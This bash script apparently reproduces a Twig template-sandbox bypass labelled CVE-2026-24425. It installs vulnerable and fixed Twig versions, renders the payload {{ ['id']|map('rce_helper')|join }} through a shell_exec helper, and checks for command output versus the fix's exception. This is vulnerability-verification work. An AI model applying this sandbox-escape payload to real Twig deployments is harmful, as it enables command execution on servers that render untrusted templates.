#!/bin/bash
set -euo pipefail

# Portable root detection
ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
mkdir -p "$LOGS"
REPRO="$ROOT/repro"
mkdir -p "$REPRO"

cd "$ROOT"

# Clean up previous runs
rm -rf "$ROOT/vulnerable" "$ROOT/fixed"
mkdir -p "$ROOT/vulnerable"
mkdir -p "$ROOT/fixed"

# Install vulnerable version (3.25.0)
echo "Installing vulnerable version..."
(
  cd "$ROOT/vulnerable"
  COMPOSER_ALLOW_SUPERUSER=1 composer require twig/twig:3.25.0 --no-interaction 2>&1 | tee "$LOGS/composer_vulnerable.log"
)

# Install fixed version (3.26.0)
echo "Installing fixed version..."
(
  cd "$ROOT/fixed"
  COMPOSER_ALLOW_SUPERUSER=1 composer require twig/twig:3.26.0 --no-interaction 2>&1 | tee "$LOGS/composer_fixed.log"
)

# Create the test PHP script for vulnerable version
cat > "$ROOT/vulnerable/test.php" <<'PHPEOF'
<?php
// Define a helper that accepts 2 args (Twig passes value and key to map)
function rce_helper($cmd, $ignored = null) {
    return shell_exec($cmd);
}

require_once __DIR__ . '/vendor/autoload.php';

use Twig\Environment;
use Twig\Loader\ArrayLoader;
use Twig\Sandbox\SecurityPolicy;
use Twig\Extension\SandboxExtension;
use Twig\Sandbox\SourcePolicyInterface;
use Twig\Source;

$sourcePolicy = new class implements SourcePolicyInterface {
    public function enableSandbox(Source $source): bool
    {
        return true;
    }
};

$loader = new ArrayLoader([
    'index' => "{{ ['id']|map('rce_helper')|join }}",
]);

$twig = new Environment($loader, ['autoescape' => false]);
$sandbox = new SandboxExtension(
    new SecurityPolicy(
        [],               // allowedTags
        ['map', 'join'],  // allowedFilters
        [],               // allowedMethods
        [],               // allowedProperties
        []                // allowedFunctions
    ),
    [],
    $sourcePolicy
);
$twig->addExtension($sandbox);

try {
    $output = $twig->render('index');
    echo "VULNERABLE_OUTPUT:\n$output\n";
} catch (\Exception $e) {
    echo "VULNERABLE_EXCEPTION: " . get_class($e) . ": " . $e->getMessage() . "\n";
}
PHPEOF

# Create the test PHP script for fixed version
cat > "$ROOT/fixed/test.php" <<'PHPEOF'
<?php
// Define a helper that accepts 2 args (Twig passes value and key to map)
function rce_helper($cmd, $ignored = null) {
    return shell_exec($cmd);
}

require_once __DIR__ . '/vendor/autoload.php';

use Twig\Environment;
use Twig\Loader\ArrayLoader;
use Twig\Sandbox\SecurityPolicy;
use Twig\Extension\SandboxExtension;
use Twig\Sandbox\SourcePolicyInterface;
use Twig\Source;

$sourcePolicy = new class implements SourcePolicyInterface {
    public function enableSandbox(Source $source): bool
    {
        return true;
    }
};

$loader = new ArrayLoader([
    'index' => "{{ ['id']|map('rce_helper')|join }}",
]);

$twig = new Environment($loader, ['autoescape' => false]);
$sandbox = new SandboxExtension(
    new SecurityPolicy(
        [],               // allowedTags
        ['map', 'join'],  // allowedFilters
        [],               // allowedMethods
        [],               // allowedProperties
        []                // allowedFunctions
    ),
    [],
    $sourcePolicy
);
$twig->addExtension($sandbox);

try {
    $output = $twig->render('index');
    echo "FIXED_OUTPUT:\n$output\n";
} catch (\Exception $e) {
    echo "FIXED_EXCEPTION: " . get_class($e) . ": " . $e->getMessage() . "\n";
}
PHPEOF

# Run vulnerable version
echo "=== Testing VULNERABLE version (3.25.0) ===" > "$LOGS/reproduction.log"
php "$ROOT/vulnerable/test.php" >> "$LOGS/reproduction.log" 2>&1 || true

echo "" >> "$LOGS/reproduction.log"
echo "=== Testing FIXED version (3.26.0) ===" >> "$LOGS/reproduction.log"
php "$ROOT/fixed/test.php" >> "$LOGS/reproduction.log" 2>&1 || true

# Verify results
echo ""
echo "=== FULL REPRODUCTION LOG ==="
cat "$LOGS/reproduction.log"
echo "=== END LOG ==="

# Extract outputs
VULN_OUTPUT=$(grep -A 1 "VULNERABLE_OUTPUT:" "$LOGS/reproduction.log" | tail -n 1 || true)
VULN_EXCEPTION=$(grep -A 1 "VULNERABLE_EXCEPTION:" "$LOGS/reproduction.log" | tail -n 1 || true)
FIXED_OUTPUT=$(grep -A 1 "FIXED_OUTPUT:" "$LOGS/reproduction.log" | tail -n 1 || true)
FIXED_EXCEPTION=$(grep -A 1 "FIXED_EXCEPTION:" "$LOGS/reproduction.log" | tail -n 1 || true)

VULN_CONFIRMED="false"
FIX_CONFIRMED="false"

if echo "$VULN_OUTPUT" | grep -q "uid="; then
    VULN_CONFIRMED="true"
    echo "SUCCESS: Vulnerable version executed shell_exec('id') — sandbox bypass confirmed."
fi

if [ -n "$VULN_EXCEPTION" ]; then
    echo "NOTE: Vulnerable version threw exception: $VULN_EXCEPTION"
fi

if echo "$FIXED_EXCEPTION" | grep -qi "Closure"; then
    FIX_CONFIRMED="true"
    echo "SUCCESS: Fixed version threw 'must be a Closure in sandbox mode' exception as expected."
fi

if [ -n "$FIXED_OUTPUT" ]; then
    echo "NOTE: Fixed version produced output: $FIXED_OUTPUT"
fi

# Write runtime manifest
if ! command -v jq &> /dev/null; then
    echo '{"error":"jq not available"}' > "$REPRO/runtime_manifest.json"
else
    cat > "$REPRO/runtime_manifest.json" <<EOF
{
  "cve_id": "CVE-2026-24425",
  "vulnerable_version": "3.25.0",
  "fixed_version": "3.26.0",
  "payload": "{{ ['id']|map('rce_helper')|join }}",
  "sandbox_type": "SourcePolicyInterface",
  "vulnerable_indicator": "shell_exec('id') executed — output contains uid=",
  "fixed_indicator": "RuntimeError: must be a Closure in sandbox mode",
  "vuln_output": $(echo "$VULN_OUTPUT" | jq -Rs .),
  "vuln_exception": $(echo "$VULN_EXCEPTION" | jq -Rs .),
  "fixed_output": $(echo "$FIXED_OUTPUT" | jq -Rs .),
  "fixed_exception": $(echo "$FIXED_EXCEPTION" | jq -Rs .),
  "vulnerable_confirmed": $VULN_CONFIRMED,
  "fixed_confirmed": $FIX_CONFIRMED
}
EOF
fi

if [ "$VULN_CONFIRMED" = "true" ] && [ "$FIX_CONFIRMED" = "true" ]; then
    echo ""
    echo "Reproduction confirmed: CVE-2026-24425 is verified."
    exit 0
else
    echo ""
    echo "Reproduction failed."
    echo "Vuln confirmed: $VULN_CONFIRMED"
    echo "Fix confirmed: $FIX_CONFIRMED"
    exit 1
fi
